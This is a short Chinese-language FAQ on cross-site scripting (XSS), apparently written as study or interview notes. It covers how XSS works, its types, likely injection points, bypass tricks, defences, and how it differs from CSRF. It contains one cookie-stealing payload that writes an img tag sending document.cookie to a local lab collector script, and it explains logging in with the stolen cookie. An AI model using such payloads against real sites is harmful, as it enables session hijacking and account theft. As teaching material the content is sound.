XSS常見問題

予遂计划發表於2024-12-04
  • XSS原理
    web應用程式對輸入和輸出沒有進行嚴格過濾、攻擊者可以插入構造的惡意javascript指令碼,當正常使用者瀏覽網頁時,被瀏覽器當作有效程式碼解析執行,盜取使用者資料或執行其他惡意操作。

  • DOM型xss漏洞容易出現的地方有哪些?
    1、可以被innerHTML或outerHTML屬性修改的節點:節點如果沒有對輸入進行恰當的轉義或清理就可能存在。
    2、可以插入script標籤屬性的節點:如src、href、onerror、onclick等


    3、console.log()


    4、document.writer():使用 document.write 向頁面中寫入一個 img 標籤, src訪問 cookie.php 並提供 cookie 引數為 document.cookie
    <script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php? cookie='+document.cookie+'"/>')</script>

  • XSS獲取cookie後如何利用
    透過burpsuite抓包、改包、利用成功獲取到的cookie值進行登入。

  • XSS漏洞的分類
    反射型、儲存型、DOM型
    反射型和DOM型都是一次的,反射型要傳送到伺服器讀取,DOM型資料僅在前端解析,不傳送到伺服器
    儲存型插入到資料庫,可以多次利用,持續時間長
    反射型最多

  • XSS常見的利用方式
    利用XSS進行釣魚、盜取cookie資訊、盜取使用者身份資訊進行非法操作、傳播惡意程式碼

  • XSS常見繞過方式
    大小寫、雙寫、編碼、屬性、javascript偽協議、

  • XSS可能存在點?
    一般涉及到資料互動的地方,伺服器讀取客戶端提交的資料並返回讀取到資料到前端HTML頁面。如註冊處、留言板、文章標題、評論區、查詢資訊後返回前端顯示
    個人資訊、訂單資訊、搜尋框、表單、私信、意見反饋、目錄

  • XSS防禦
    對輸出編碼、對輸入過濾、設定白名單
    對cookie值設定Httponly屬性
    DOM型對插入HTML進行轉義
    禁止外聯指令碼和未授權指令碼
    設定WAF防火牆

  • XSS與CSRF區別
    XSS是利用漏洞盜取使用者許可權進行攻擊,不需要使用者登入;CSRF需要在使用者登入的情況下誘騙使用者點選惡意連結,藉助使用者的許可權完成攻擊,並沒有拿到使用者許可權。